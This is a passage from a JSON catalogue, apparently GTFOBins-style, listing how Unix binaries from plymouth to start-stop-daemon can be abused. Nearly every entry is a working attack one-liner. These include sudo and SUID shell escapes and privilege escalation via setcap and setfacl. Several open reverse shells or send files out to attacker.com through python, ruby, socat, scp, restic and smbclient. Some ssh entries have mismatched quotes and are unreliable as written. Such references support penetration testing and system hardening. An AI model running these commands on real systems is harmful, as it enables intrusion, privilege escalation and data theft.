./x-1.0.txz","comment":"Generate the FreeBSD package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\necho /path/to/command >x.sh\nfpm -n x -s dir -t freebsd -a all --before-install x.sh .\n```","contexts":{"sudo":null}}]}},"plymouth": {"functions":{"shell":[{"code":"plymouth ask-for-password --prompt=x --command=/bin/sh","contexts":{"sudo":null,"suid":{"code":"plymouth ask-for-password --prompt=x --command='/bin/sh -p'","shell":false},"unprivileged":null}}]}},"podman": {"functions":{"shell":[{"code":"podman run --rm -it --privileged --volume /:/mnt alpine chroot /mnt /bin/sh","comment":"This requires an actual image to be available (e.g., `alpine`) downloading it if not present.","contexts":{"sudo":null,"unprivileged":null}}]}},"poetry": {"functions":{"inherit":[{"code":"echo '...' >/path/to/temp-file\npoetry run python /path/to/temp-file","comment":"This allows to run Python code (`...`).\n\nA valid `pyproject.toml` file must be present in the current working directory, you can create one with `poetry init -n`.","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"posh": {"functions":{"shell":[{"code":"posh","contexts":{"sudo":null,"unprivileged":null}}]}},"pr": {"functions":{"file-read":[{"binary":false,"code":"pr -T /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"procmail": {"functions":{"command":[{"blind":false,"code":"echo -e ':0\\n| /path/to/command >/path/to/temp-file\nprocmail -m /path/to/temp-file","comment":"The program is picky about the file ownership, and waits for some input.","contexts":{"sudo":null,"unprivileged":null}}]}},"pry": {"functions":{"inherit":[{"code":"pry","contexts":{"sudo":null,"unprivileged":null},"from":"irb"}]}},"psftp": {"functions":{"shell":[{"code":"psftp\n!/bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"psql": {"comment":"A valid PostgreSQL server must be available to connect to.","functions":{"inherit":[{"code":"psql\n\\?","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"less"}],"shell":[{"code":"psql\n\\! /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"ptx": {"comment":"While the program is capable of reading the file, it outputs a \"permuted index\" of its content, thus altering it. Adjusting the options could yield more readable outputs.","functions":{"file-read":[{"binary":false,"code":"ptx -w 999 /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"puppet": {"functions":{"file-read":[{"code":"puppet filebucket -l diff /dev/null /path/to/input-file","comment":"The read file content is corrupted by the `diff` output format. The actual `diff` command is executed.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"puppet apply -e 'file { \"/path/to/output-file\": content => \"DATA\" }'","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"puppet apply -e \"exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }\"","contexts":{"sudo":null,"unprivileged":null}}]}},"pwsh": {"functions":{"file-write":[{"code":"pwsh -c '\"DATA\" | Out-File /path/to/output-file'","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"pwsh","contexts":{"sudo":null,"unprivileged":null}}]}},"pygmentize": {"functions":{"file-read":[{"binary":false,"code":"pygmentize -l text /path/to/input-file","contexts":{"sudo":null,"unprivileged":null}}]}},"pyright": {"functions":{"file-read":[{"binary":false,"code":"pyright /path/to/input-file","comment":"Content is leaked as error messages.","contexts":{"sudo":null,"unprivileged":null}},{"binary":false,"code":"pyright --outputjson /path/to/input-file","comment":"Content is leaked as error messages in JSON format.","contexts":{"sudo":null,"unprivileged":null}},{"code":"pyright -w /path/to/input-dir/","comment":"Recursively walks directories, parsing all Python files and leaking some contents through diagnostics.","contexts":{"sudo":null,"unprivileged":null}}]}},"python": {"comment":"The payloads are compatible with both Python version 2 and 3.","functions":{"download":[{"code":"python -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"http://attacker.com/path/to/input-file\", \"/path/to/output-file\")'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"python -c 'print(open(\"/path/to/input-file\").read())'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"python -c 'open(\"/path/to/output-file\",\"w+\").write(\"DATA\")'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"library-load":[{"code":"python -c 'from ctypes import cdll; cdll.LoadLibrary(\"/path/to/lib.so\")'","contexts":{"capabilities":{"list":["CAP_SETUID"]},"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"python -c 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"attacker.com\",12345))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"listener":{"code":"socat file:/dev/tty,raw,echo=0 tcp-listen:12345","comment":"A TCP server with TTY support can be used on the attacker box to receive the shell."},"tty":true}],"shell":[{"code":"python -c 'import os; os.execl(\"/bin/sh\", \"sh\")'","contexts":{"capabilities":{"code":"python -c 'import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\")'","list":["CAP_SETUID"]},"sudo":null,"suid":{"code":"python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'","shell":false},"unprivileged":null}}],"upload":[{"code":"python -c 'import sys\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"http://attacker.com\", open(\"/path/to/input-file\", \"rb\").read())'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-server"},{"code":"python -c 'import sys\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", 12345), s.SimpleHTTPRequestHandler).serve_forever()'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"http-client"}]}},"qpdf": {"functions":{"file-read":[{"code":"qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file\nqpdf --show-attachment=x /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"rake": {"functions":{"file-read":[{"code":"rake -f /path/to/input-file","comment":"The file is actually parsed and the first wrong line is returned in an error message.","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"rake -p '...'","comment":"This allows to run Ruby code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"ruby"}]}},"ranger": {"functions":{"shell":[{"code":"ranger\nS","contexts":{"sudo":null,"unprivileged":null}}]}},"rc": {"functions":{"shell":[{"code":"rc","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"readelf": {"functions":{"file-read":[{"binary":false,"code":"readelf -a @/path/to/input-file","comment":"Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"red": {"alias":"ed"},"redcarpet": {"functions":{"file-read":[{"binary":false,"code":"redcarpet /path/to/input-file","comment":"The file is actually parsed as a Markdown file.","contexts":{"sudo":null,"unprivileged":null}}]}},"redis": {"functions":{"file-write":[{"binary":false,"code":"redis-cli -h 127.0.0.1\nconfig set dir /path/to/output-dir/\nconfig set dbfilename output-file\nset x \"DATA\"\nsave","comment":"Write files on the server running Redis at the specified location. Written data will appear amongst the database dump.\n\nKeep in mind that it's actually the server to perform the file write.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"< 7"}]}},"restic": {"functions":{"command":[{"blind":true,"code":"RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"blind":true,"code":"restic --password-command='/path/to/command' backup","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"RESTIC_PASSWORD_COMMAND='/bin/sh -c \"/bin/sh 0<&2 1<&2\"' restic backup","contexts":{"sudo":null,"suid":{"code":"RESTIC_PASSWORD_COMMAND='/bin/sh -p -c \"/bin/sh -p 0<&2 1<&2\"' restic backup"},"unprivileged":null}},{"code":"restic --password-command='/bin/sh -c \"/bin/sh 0<&2 1<&2\"' backup","contexts":{"sudo":null,"suid":{"code":"restic --password-command='/bin/sh -p -c \"/bin/sh -p 0<&2 1<&2\"' backup"},"unprivileged":null}}],"upload":[{"code":"restic backup -r rest:http://attacker.com:12345/x /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":{"comment":"The attacker must setup a server to receive the backups, in the following example [rest-server](https://github.com/restic/rest-server/) is used but there are other options. To start a new instance and create a new repository use:\n\n```\nrest-server --listen :12345\nrestic init -r rest:http://localhost:12345/x\n```\n\nAfter the command executed on the target, to extract the data from the restic repository in the current directory on the attacker side:\n\n```\nrestic restore -r /tmp/restic/x latest --target .\n```"}}]}},"rev": {"functions":{"file-read":[{"binary":false,"code":"rev /path/to/input-file | rev","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"rlogin": {"functions":{"upload":[{"binary":false,"code":"rlogin -l DATA -p 12345 attacker.com","comment":"The file is corrupted by leading and trailing spurious data.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"rlwrap": {"functions":{"file-write":[{"binary":false,"code":"rlwrap -l /path/to/output-file echo DATA","comment":"This adds timestamps to the output file. This relies on the external `echo` command.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"rlwrap /bin/sh","contexts":{"sudo":null,"suid":{"code":"rlwrap /bin/sh -p","shell":false},"unprivileged":null}}]}},"rpm": {"functions":{"command":[{"code":"rpm -ivh x-1.0-1.noarch.rpm","comment":"Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\necho /path/to/command >x.sh\nfpm -n x -s dir -t rpm -a all --before-install x.sh .\n```","contexts":{"sudo":null}}],"inherit":[{"code":"rpm --eval '%{lua:...}'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua","version":"Some older version is required."}],"shell":[{"code":"rpm --eval '%(/bin/sh 1>&2)'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"rpm --pipe '/bin/sh 0<&1'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"rpmdb": {"functions":{"inherit":[{"code":"rpmdb --eval '%{lua:...}'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua","version":"Some older version is required."}],"shell":[{"code":"rpmdb --eval '%(/bin/sh 1>&2)'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"rpmquery": {"functions":{"inherit":[{"code":"rpmquery --eval '%{lua:...}'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua","version":"Some older version is required."}],"shell":[{"code":"rpmquery --eval '%(/bin/sh 1>&2)'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"rpmverify": {"functions":{"inherit":[{"code":"rpmverify --eval '%{lua:...}'","comment":"This allows to run Lua code (`...`).","contexts":{"sudo":null,"suid":null,"unprivileged":null},"from":"lua","version":"Some older version is required."}],"shell":[{"code":"rpmverify --eval '%(/bin/sh 1>&2)'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"rsync": {"functions":{"shell":[{"code":"rsync -e '/bin/sh -c \"/bin/sh 0<&2 1>&2\"' x:x","contexts":{"sudo":null,"suid":{"code":"rsync -e '/bin/sh -p -c \"/bin/sh -p 0<&2 1>&2\"' x:x","shell":false},"unprivileged":null}}]}},"rsyslogd": {"functions":{"command":[{"blind":true,"code":"cat >/path/to/temp-file <<EOF\nmodule(load=\"imuxsock\")\n:msg, contains, \"somerandomstring\" ^/path/to/command\nEOF\n\nrsyslogd -f /path/to/temp-file","comment":"In order for this to work, one must be able to trigger one event containing the chosen string, e.g., `somerandomstring`. One possibility is to attempt to connect to the victim host via SSH, for example:\n\n```\nssh somerandomstring@victim.com\n```","contexts":{"sudo":null}}]}},"rtorrent": {"functions":{"shell":[{"code":"echo 'execute = /bin/sh,-c,\"/bin/sh </dev/tty >/dev/tty 2>/dev/tty\"' >~/.rtorrent.rc\nrtorrent","comment":"After the shell, exit with `Ctrl-Q`.","contexts":{"sudo":null,"suid":{"code":"echo 'execute = /bin/sh,-p,-c,\"/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty\"' >~/.rtorrent.rc\nrtorrent","shell":false},"unprivileged":null}}]}},"ruby": {"functions":{"download":[{"code":"ruby -e 'require \"open-uri\"; download = URI.open(\"http://attacker.com/path/to/input-file\"); IO.copy_stream(download, \"/path/to/output-file\")'","contexts":{"sudo":null,"unprivileged":null},"sender":"http-server"}],"file-read":[{"code":"ruby -e 'puts File.read(\"/path/to/input-file\")'","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"ruby -e 'File.open(\"/path/to/output-file\", \"w+\") { |f| f.write(\"DATA\") }'","contexts":{"sudo":null,"unprivileged":null}}],"library-load":[{"code":"ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"/path/to/lib.so\")'","contexts":{"sudo":null,"unprivileged":null}}],"reverse-shell":[{"code":"ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"attacker.com\",12345);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'","contexts":{"sudo":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"ruby -e 'exec \"/bin/sh\"'","contexts":{"capabilities":{"code":"ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'","list":["CAP_SETUID"]},"sudo":null,"unprivileged":null}}],"upload":[{"code":"ruby -run -e httpd . -p 80","contexts":{"sudo":null,"unprivileged":null},"receiver":"http-client","version":">= 1.9.2"}]}},"run-mailcap": {"functions":{"inherit":[{"code":"run-mailcap --action=view text/plain:/etc/hosts","contexts":{"sudo":null,"unprivileged":null},"from":"less"},{"code":"run-mailcap --action=edit text/plain:/path/to/output-file","comment":"The file must exist and be not empty.","contexts":{"sudo":null,"unprivileged":null},"from":"vi"}]}},"run-parts": {"functions":{"shell":[{"code":"run-parts --new-session --regex '^sh$' /bin","contexts":{"sudo":null,"suid":{"code":"run-parts --new-session --regex '^sh$' /bin --arg='-p'","shell":false},"unprivileged":null}},{"code":"cp /bin/sh /path/to/temp-dir/\nrun-parts /path/to/temp-dir/","contexts":{"sudo":null,"suid":{"code":"cp /bin/sh /path/to/temp-dir/\nrun-parts /path/to/temp-dir/ --arg='-p'","shell":false},"unprivileged":null}}]}},"runscript": {"functions":{"shell":[{"code":"echo '! exec /bin/sh' >/path/to/temp-file\nrunscript /path/to/temp-file","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"rustc": {"functions":{"file-read":[{"binary":false,"code":"rustc /path/to/input-file","comment":"The compiler leaks some file lines in the compiler error.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"echo 'fn main() { println!(\"DATA\"); }' >/path/to/temp-file\nrustc /path/to/temp-file -o /path/to/output-file","comment":"The comment appears in the compiled program.","contexts":{"sudo":null,"unprivileged":null}}],"inherit":[{"code":"rustc --explain E0001","contexts":{"sudo":null,"unprivileged":null},"from":"less"}]}},"rustdoc": {"functions":{"file-read":[{"binary":false,"code":"rustdoc /path/to/input-file","comment":"Partial content is displayed as error messages.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"echo '//! DATA' >/path/to/temp-file\nrustdoc /path/to/temp-file -o /path/to/output-dir/","comment":"This command creates a number of documentation files in the target directory, and the data is written in multiple locations, e.g., `src/temp_file/temp-file.html`, amidst other content.","contexts":{"sudo":null,"unprivileged":null}}]}},"rustfmt": {"functions":{"file-read":[{"binary":false,"code":"rustfmt /path/to/input-file","comment":"Partial content is displayed as error messages.","contexts":{"sudo":null,"unprivileged":null}}]}},"rustup": {"functions":{"command":[{"code":"mkdir /path/to/temp-dir/bin/\nmkdir /path/to/temp-dir/lib/\necho '/path/to/command' >/path/to/temp-dir/bin/rustc\nchmod +x /path/to/temp-dir/bin/rustc\nrustup toolchain link x /path/to/temp-dir/\nrustup run x rustc","contexts":{"sudo":null,"unprivileged":null}}],"shell":[{"code":"mkdir /path/to/temp-dir/bin/\nmkdir /path/to/temp-dir/lib/\ncp /bin/sh /path/to/temp-dir/bin/rustc\nrustup toolchain link x /path/to/temp-dir/\nrustup run x rustc","contexts":{"sudo":null,"unprivileged":null}}]}},"rview": {"alias":"view"},"rvim": {"alias":"vim"},"sash": {"functions":{"shell":[{"code":"sash","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"scanmem": {"functions":{"shell":[{"code":"scanmem\nshell /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"scp": {"functions":{"download":[{"code":"scp user@attacker.com:/path/to/input-file /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"ssh-server"}],"shell":[{"code":"echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file\nchmod +x /path/to/temp-file\nscp -S /path/to/temp-file x x:","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}},{"code":"scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"upload":[{"code":"scp /path/to/input-file user@attacker.com:/path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"ssh-server"}]}},"screen": {"functions":{"file-write":[{"binary":false,"code":"screen -L -Logfile /path/to/output-file echo DATA","comment":"Data is appended to the file and `\\n` is converted to `\\r\\n`.","contexts":{"sudo":null,"unprivileged":null},"version":"4.06.02"},{"binary":false,"code":"screen -L /path/to/output-file echo DATA","comment":"Data is appended to the file and `\\n` is converted to `\\r\\n`.","contexts":{"sudo":null,"unprivileged":null},"version":"4.05.00"}],"shell":[{"code":"screen","contexts":{"sudo":null,"unprivileged":null}}]}},"script": {"functions":{"file-write":[{"binary":false,"code":"script -q -c '# DATA' /path/to/output-file","comment":"The content appears among the log prints.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"script -q /dev/null","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"scrot": {"comment":"This requires a running X server.","functions":{"shell":[{"code":"scrot -e /bin/sh","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"sed": {"functions":{"file-read":[{"code":"sed '' /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"sed -n '1e exec /bin/sh 1>&0' /etc/hosts","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"version":"GNU"},{"code":"sed e","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"tty":false,"version":"GNU"}]}},"service": {"functions":{"shell":[{"code":"service ../../bin/sh","contexts":{"sudo":null,"unprivileged":null}}]}},"setarch": {"functions":{"shell":[{"code":"setarch -3 /bin/sh","contexts":{"sudo":null,"suid":{"code":"setarch -3 /bin/sh -p","shell":false},"unprivileged":null}}]}},"setcap": {"functions":{"privilege-escalation":[{"code":"setcap cap_setuid+ep /path/to/command","comment":"This can be used to assign capabilities to executable files.","contexts":{"sudo":null,"suid":null}}]}},"setfacl": {"functions":{"privilege-escalation":[{"code":"setfacl -m u:$(id -un):rwx /path/to/input-file","comment":"This can be run with elevated privileges to change ownership and then read, write, or execute a file.","contexts":{"sudo":null,"suid":null}}]}},"setlock": {"functions":{"shell":[{"code":"setlock - /bin/sh","contexts":{"sudo":null,"suid":{"code":"setlock - /bin/sh -p","shell":true},"unprivileged":null}}]}},"sftp": {"functions":{"download":[{"code":"sftp user@attacker.com\nget /path/to/input-file /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"ssh-server"}],"shell":[{"code":"sftp user@attacker.com\n!/bin/sh","comment":"This still requires a successfull connection to the server.","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"upload":[{"code":"sftp user@attacker.com\nput /path/to/input-file /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"ssh-server"}]}},"sg": {"functions":{"shell":[{"code":"sg $(id -ng)","comment":"Commands can be run if the current user's group is specified, therefore no additional permissions are needed.","contexts":{"sudo":{"code":"sg root"},"unprivileged":null}}]}},"shred": {"functions":{"file-write":[{"code":"shred -u /path/to/output-file","comment":"This actually deletes the chosen file.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"shuf": {"functions":{"file-read":[{"code":"shuf -z /path/to/input-file","comment":"The read file content is corrupted by randomizing the order of NUL terminated strings.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"shuf -e DATA -o /path/to/output-file","comment":"The written file content is corrupted by adding a newline.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"slsh": {"functions":{"shell":[{"code":"slsh -e 'system(\"/bin/sh\")'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"smbclient": {"functions":{"download":[{"code":"smbclient '\\\\attacker.com\\share' -c 'get /path/to/input-file /path/to/output-file'","contexts":{"sudo":null,"unprivileged":null},"sender":{"code":"smbserver.py -smb2support share .","comment":"A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket))."}}],"shell":[{"code":"smbclient '\\\\host\\share'\n!/bin/sh","comment":"A valid SMB/CIFS server must be available.","contexts":{"sudo":null,"unprivileged":null}}],"upload":[{"code":"smbclient '\\\\attacker.com\\share' -c 'put /path/to/input-file /path/to/output-file'","contexts":{"sudo":null,"unprivileged":null},"receiver":{"code":"smbserver.py -smb2support share .","comment":"A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket))."}}]}},"snap": {"functions":{"command":[{"code":"snap install xxxx_1.0_all.snap --dangerous --devmode","comment":"Generate the Snap package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n```\nmkdir -p meta/hooks\necho -e '#!/bin/sh\\n/path/to/command; false' >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxx -s dir -t snap -a all meta\n```","contexts":{"sudo":null}}]}},"socat": {"functions":{"bind-shell":[{"code":"socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane","connector":"tcp-client-tty","contexts":{"sudo":null,"suid":{"code":"socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'","shell":false},"unprivileged":null}}],"download":[{"code":"socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"tcp-server"}],"file-read":[{"code":"socat -u file:/path/to/input-file -","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"code":"socat -u 'exec:echo DATA' open:/path/to/output-file,creat","comment":"The `echo` command is actually used.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"reverse-shell":[{"code":"socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane","contexts":{"sudo":null,"suid":{"code":"socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'","shell":false},"unprivileged":null},"listener":"tcp-server-tty"}],"shell":[{"code":"socat - exec:/bin/sh,pty,ctty,raw,echo=0","contexts":{"sudo":null,"suid":{"code":"socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'","shell":false},"unprivileged":null}}],"upload":[{"code":"socat -u file:/path/to/input-file tcp-connect:attacker.com:12345","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-server"}]}},"socket": {"functions":{"bind-shell":[{"code":"socket -svp '/bin/sh -i' 12345","connector":"tcp-client","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}],"reverse-shell":[{"code":"socket -qvp '/bin/sh -i' attacker.com 12345","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null},"listener":"tcp-server"}]}},"soelim": {"functions":{"file-read":[{"binary":false,"code":"soelim /path/to/input-file","comment":"The content is actually parsed and corrupted by the command.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"softlimit": {"functions":{"shell":[{"code":"softlimit /bin/sh","contexts":{"sudo":null,"suid":{"code":"softlimit /bin/sh -p","shell":false},"unprivileged":null}}]}},"sort": {"functions":{"file-read":[{"binary":false,"code":"sort -m /path/to/input-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"echo DATA | sort -m -o /path/to/output-file","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"split": {"functions":{"file-read":[{"code":"split -b 999 --additional-suffix suffix /path/to/input-file prefix\ncat prefixaasuffix","comment":"This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"The `--additional-suffix` flag is only available in the GNU version."}],"file-write":[{"code":"split -b 999 --additional-suffix suffix /path/to/input-file prefix","comment":"This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`.","contexts":{"sudo":null,"suid":null,"unprivileged":null},"version":"The `--additional-suffix` flag is only available in the GNU version."}],"shell":[{"code":"split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"sqlite3": {"functions":{"file-read":[{"binary":false,"code":"sqlite3 <<EOF\nCREATE TABLE x(x TEXT);\n.import /path/to/input-file x\nSELECT * FROM x;\nEOF","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"file-write":[{"binary":false,"code":"sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select \"DATA\";'","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"sqlite3 /dev/null '.shell /bin/sh'","contexts":{"sudo":null,"suid":{"shell":true},"unprivileged":null}}]}},"sqlmap": {"functions":{"inherit":[{"code":"sqlmap -u 127.0.0.1 --eval='...'","comment":"This allows to run Python code (`...`).","contexts":{"sudo":null,"unprivileged":null},"from":"python"}]}},"ss": {"functions":{"file-read":[{"binary":false,"code":"ss -a -F /path/to/input-file","comment":"The file content is actually parsed so only a part of the first line is returned as a part of an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ssh": {"functions":{"download":[{"code":"ssh user@attacker.com 'cat /path/to/input-file\"","contexts":{"sudo":null,"suid":null,"unprivileged":null},"sender":"ssh-server"}],"file-read":[{"code":"ssh -F /path/to/input-file x","comment":"The read file content is corrupted by error prints.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"shell":[{"code":"ssh localhost /bin/sh","comment":"Reconnecting may help bypassing restricted shells.","contexts":{"sudo":null,"suid":null,"unprivileged":null}},{"code":"ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x","contexts":{"sudo":null,"unprivileged":null}},{"code":"ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost","comment":"Spawn the shell on the client, but still requires a successful remote connection.","contexts":{"sudo":null,"unprivileged":null}}],"upload":[{"code":"echo DATA | ssh user@attacker.com 'cat >/path/to/output-file\"","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"ssh-server"}]}},"ssh-agent": {"functions":{"shell":[{"code":"ssh-agent /bin/sh","contexts":{"sudo":null,"suid":{"code":"ssh-agent /bin/sh -p","shell":false},"unprivileged":null}}]}},"ssh-copy-id": {"functions":{"file-read":[{"code":"ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com","comment":"The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.","contexts":{"sudo":null,"unprivileged":null}}],"file-write":[{"code":"ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host","comment":"The input file must have the `.pub` file extension.","contexts":{"sudo":null,"unprivileged":null}}]}},"ssh-keygen": {"functions":{"library-load":[{"code":"ssh-keygen -D /path/to/lib.so","comment":"The shared library must contain the `void C_GetFunctionList() {}` function.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"ssh-keyscan": {"functions":{"file-read":[{"code":"ssh-keyscan -f /path/to/input-file","comment":"The file content is actually parsed so only a part of each line is returned as a part of an error message.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"sshfs": {"functions":{"command":[{"blind":true,"code":"sshfs -o ssh_command=/path/to/command x: /path/to/dir/","contexts":{"sudo":null,"unprivileged":null}}],"download":[{"code":"sshfs user@attacker.com:/ /path/to/dir/\ncp /path/to/dir/path/to/input-file /path/to/output-file","contexts":{"unprivileged":null},"sender":"ssh-server"}],"shell":[{"code":"echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file\nchmod +x /path/to/temp-file\nsshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/","comment":"The mount dir must be writable by the invoking user.","contexts":{"sudo":null,"unprivileged":null}}],"upload":[{"code":"sshfs user@attacker.com:/ /path/to/dir/\ncp /path/to/input-file /path/to/dir/","contexts":{"unprivileged":null},"receiver":"ssh-server"}]}},"sshpass": {"functions":{"shell":[{"code":"sshpass /bin/sh","contexts":{"sudo":null,"suid":{"code":"sshpass /bin/sh -p","shell":false},"unprivileged":null}}]}},"sshuttle": {"functions":{"shell":[{"code":"sudo sshuttle -r x --ssh-cmd '/bin/sh -c \"/bin/sh 0<&2 1>&2\"' localhost","contexts":{"sudo":null}}]}},"start-stop-daemon": {"functions":{"shell":[{"code":"start-stop-daemon -S -x 